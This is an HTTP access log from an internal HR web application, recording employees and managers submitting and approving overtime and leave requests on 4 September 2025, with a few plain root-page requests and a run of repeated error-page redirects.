192.168.11.68 - - [04/Sep/2025:08:44:47 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.01959087062618825 HTTP/1.1" 200 8988 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [04/Sep/2025:08:44:47 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.01959087062618825 HTTP/1.1" 200 8988
192.168.11.68 - - [04/Sep/2025:08:44:48 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.01959087062618825 HTTP/1.1" 200 27500 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.01959087062618825" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [04/Sep/2025:08:44:48 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.01959087062618825 HTTP/1.1" 200 27500
192.168.11.68 - - [04/Sep/2025:08:45:20 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4278 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [04/Sep/2025:08:45:20 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4278
192.168.11.68 - - [04/Sep/2025:08:45:31 +0800] "GET /eHR/img/layout/resizable-w.gif HTTP/1.1" 200 368 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [04/Sep/2025:08:45:31 +0800] "GET /eHR/img/layout/resizable-w.gif HTTP/1.1" 200 368
192.168.11.68 - - [04/Sep/2025:08:45:30 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.68 - - [04/Sep/2025:08:45:30 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [04/Sep/2025:08:45:45 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.18751947470924568 HTTP/1.1" 200 8988
192.168.11.68 - - [04/Sep/2025:08:45:45 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.18751947470924568 HTTP/1.1" 200 8988 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [04/Sep/2025:08:45:47 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.18751947470924568 HTTP/1.1" 200 27500 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.18751947470924568" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [04/Sep/2025:08:45:47 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.18751947470924568 HTTP/1.1" 200 27500
192.168.11.68 - - [04/Sep/2025:08:46:05 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4072 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [04/Sep/2025:08:46:05 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4072
192.168.11.68 - - [04/Sep/2025:08:46:12 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [04/Sep/2025:08:46:12 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.68 - - [04/Sep/2025:08:46:25 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6162425260578493 HTTP/1.1" 200 8988 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [04/Sep/2025:08:46:25 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6162425260578493 HTTP/1.1" 200 8988
192.168.11.68 - - [04/Sep/2025:08:46:27 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6162425260578493 HTTP/1.1" 200 27500 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6162425260578493" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [04/Sep/2025:08:46:27 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6162425260578493 HTTP/1.1" 200 27500
192.168.11.127 - - [04/Sep/2025:08:46:33 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH003&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.127 - - [04/Sep/2025:08:46:33 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH003&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 -
192.168.11.127 - - [04/Sep/2025:08:46:34 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 7256
192.168.11.127 - - [04/Sep/2025:08:46:34 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 7256 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.127 - - [04/Sep/2025:08:46:36 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH004&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 -
192.168.11.127 - - [04/Sep/2025:08:46:36 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH004&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.127 - - [04/Sep/2025:08:46:37 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 85866
192.168.11.127 - - [04/Sep/2025:08:46:37 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 85866 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.68 - - [04/Sep/2025:08:46:59 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4906 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [04/Sep/2025:08:46:59 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4906
100.64.0.1 - - [04/Sep/2025:08:47:03 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [04/Sep/2025:08:47:03 +0800] "GET / HTTP/1.1" 200 439 "-" "Dalvik/2.1.0 (Linux; U; Android 9.0; ZTE BA520 Build/MRA58K)"
192.168.11.68 - - [04/Sep/2025:08:47:07 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7921 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [04/Sep/2025:08:47:07 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7921
192.168.11.68 - - [04/Sep/2025:08:47:14 +0800] "GET /eHR/img/cancel.png HTTP/1.1" 200 1230
192.168.11.68 - - [04/Sep/2025:08:47:14 +0800] "GET /eHR/img/cancel.png HTTP/1.1" 200 1230 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [04/Sep/2025:08:47:14 +0800] "GET /eHR/img/pe.png HTTP/1.1" 200 1268
192.168.11.68 - - [04/Sep/2025:08:47:14 +0800] "GET /eHR/img/pe.png HTTP/1.1" 200 1268 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [04/Sep/2025:08:47:12 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 19399 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [04/Sep/2025:08:47:12 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 19399
100.64.0.1 - - [04/Sep/2025:08:48:04 +0800] "GET /favicon.ico HTTP/1.1" 404 209
100.64.0.1 - - [04/Sep/2025:08:48:04 +0800] "GET /favicon.ico HTTP/1.1" 404 209 "-" "Dalvik/2.1.0 (Linux; U; Android 9.0; ZTE BA520 Build/MRA58K)"
100.64.0.1 - - [04/Sep/2025:08:49:10 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11) AppleWebKit/601.1.27 (KHTML, like Gecko) Chrome/47.0.2526.106 Safari/601.1.27"
100.64.0.1 - - [04/Sep/2025:08:49:10 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [04/Sep/2025:08:50:05 +0800] "GET / HTTP/1.1" 200 439 "-" "Opera/9.02 (X11; Linux i686; U; hu)"
100.64.0.1 - - [04/Sep/2025:08:50:05 +0800] "GET / HTTP/1.1" 200 439
192.168.11.127 - - [04/Sep/2025:08:57:12 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 9510
192.168.11.127 - - [04/Sep/2025:08:57:12 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 9510 "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.127 - - [04/Sep/2025:08:57:13 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10340
192.168.11.127 - - [04/Sep/2025:08:57:13 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10340 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.127 - - [04/Sep/2025:08:57:17 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 200 33271
192.168.11.127 - - [04/Sep/2025:08:57:17 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 200 33271 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.127 - - [04/Sep/2025:08:57:17 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 200 90371
192.168.11.127 - - [04/Sep/2025:08:57:17 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 200 90371 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.127 - - [04/Sep/2025:08:59:54 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.127 - - [04/Sep/2025:08:59:54 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 -
192.168.11.127 - - [04/Sep/2025:08:59:56 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D131059%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A131059&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.127 - - [04/Sep/2025:08:59:56 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D131059%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A131059&target=iframe HTTP/1.1" 302 -
192.168.11.127 - - [04/Sep/2025:08:59:56 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.11.127 - - [04/Sep/2025:08:59:56 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.127 - - [04/Sep/2025:08:59:57 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.11.127 - - [04/Sep/2025:08:59:57 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.127 - - [04/Sep/2025:08:59:57 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.11.127 - - [04/Sep/2025:08:59:57 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.127 - - [04/Sep/2025:08:59:57 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.11.127 - - [04/Sep/2025:08:59:57 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.127 - - [04/Sep/2025:08:59:58 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.11.127 - - [04/Sep/2025:08:59:58 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.127 - - [04/Sep/2025:08:59:58 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.11.127 - - [04/Sep/2025:08:59:58 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.127 - - [04/Sep/2025:08:59:58 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.11.127 - - [04/Sep/2025:08:59:58 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.127 - - [04/Sep/2025:08:59:59 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.11.127 - - [04/Sep/2025:08:59:59 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.127 - - [04/Sep/2025:08:59:59 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
